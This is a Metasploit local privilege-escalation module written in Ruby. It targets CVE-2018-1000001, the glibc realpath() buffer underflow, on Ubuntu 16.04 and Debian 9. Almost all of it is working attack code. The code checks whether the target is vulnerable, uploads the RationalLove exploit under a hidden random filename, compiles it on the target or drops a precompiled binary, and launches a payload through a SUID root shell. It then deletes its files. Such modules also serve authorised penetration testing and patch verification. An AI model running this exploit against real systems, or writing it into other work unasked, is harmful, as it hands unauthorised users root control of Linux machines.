glibc 'realpath()' Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "glibc 'realpath()' Privilege Escalation",  
'Description' => %q{  
This module attempts to gain root privileges on Linux systems by abusing  
a vulnerability in GNU C Library (glibc) version 2.26 and prior.  
  
This module uses halfdog's RationalLove exploit to exploit a buffer  
underflow in glibc realpath() and create a SUID root shell. The exploit  
has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1.  
  
The target system must have unprivileged user namespaces enabled.  
  
This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64)  
with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc  
version 2.24-11+deb9u1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'halfdog', # Discovery and RationalLove.c exploit  
'Brendan Coles' # Metasploit  
],  
'DisclosureDate' => 'Jan 16 2018',  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' =>  
[  
[ 'AKA', 'RationalLove.c' ],  
[ 'BID', '102525' ],  
[ 'CVE', '2018-1000001' ],  
[ 'EDB', '43775' ],  
[ 'URL', 'https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/' ],  
[ 'URL', 'http://www.openwall.com/lists/oss-security/2018/01/11/5' ],  
[ 'URL', 'https://securitytracker.com/id/1040162' ],  
[ 'URL', 'https://sourceware.org/bugzilla/show_bug.cgi?id=22679' ],  
[ 'URL', 'https://usn.ubuntu.com/3534-1/' ],  
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1533836' ]  
],  
'DefaultTarget' => 0))  
register_options [  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
cmd_exec "chmod +x '#{path}'"  
end  
  
def upload_and_compile(path, data)  
upload "#{path}.c", data  
  
gcc_cmd = "gcc -w -o #{path} #{path}.c"  
if session.type.eql? 'shell'  
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"  
end  
output = cmd_exec gcc_cmd  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{path}.c failed to compile"  
end  
  
register_file_for_cleanup path  
cmd_exec "chmod +x #{path}"  
end  
  
def exploit_data(file)  
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2018-1000001', file  
fd = ::File.open path, 'rb'  
data = fd.read fd.stat.size  
fd.close  
data  
end  
  
def live_compile?  
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')  
  
if has_gcc?  
vprint_good 'gcc is installed'  
return true  
end  
  
unless datastore['COMPILE'].eql? 'Auto'  
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'  
end  
end  
  
def check  
version = kernel_release  
if Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.36')  
vprint_error "Linux kernel version #{version} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "Linux kernel version #{version} is vulnerable"  
  
arch = kernel_hardware  
unless arch.include? 'x86_64'  
vprint_error "System architecture #{arch} is not supported"  
return CheckCode::Safe  
end  
vprint_good "System architecture #{arch} is supported"  
  
unless userns_enabled?  
vprint_error 'Unprivileged user namespaces are not permitted'  
return CheckCode::Safe  
end  
vprint_good 'Unprivileged user namespaces are permitted'  
  
version = glibc_version  
if Gem::Version.new(version.split('-').first) > Gem::Version.new('2.26')  
vprint_error "GNU C Library version #{version} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "GNU C Library version #{version} is vulnerable"  
  
# fuzzy match glibc 2.23-0ubuntu9 and 2.24-11+deb9u1  
glibc_banner = cmd_exec('ldd --version')  
unless glibc_banner.include?('2.23-0ubuntu') || glibc_banner.include?('2.24-11+deb9')  
vprint_error 'No offsets for this version of GNU C Library'  
return CheckCode::Safe  
end  
  
CheckCode::Appears  
end  
  
def exploit  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
if check != CheckCode::Appears  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# Upload exploit executable  
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"  
@executable_path = "#{base_dir}/#{executable_name}"  
if live_compile?  
vprint_status 'Live compiling exploit on system...'  
upload_and_compile @executable_path, exploit_data('RationalLove.c')  
else  
vprint_status 'Dropping pre-compiled exploit on system...'  
upload_and_chmodx @executable_path, exploit_data('RationalLove')  
end  
  
# Upload payload executable  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
# Launch exploit  
print_status 'Launching exploit...'  
output = cmd_exec "echo '#{payload_path} & exit' | #{@executable_path}", nil, 30  
output.each_line { |line| vprint_status line.chomp }  
end  
  
def on_new_session(client)  
# remove root owned SUID executable  
if client.type.eql? 'meterpreter'  
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'  
client.fs.file.rm @executable_path  
else  
client.shell_command_token "rm #{@executable_path}"  
end  
end  
end  
`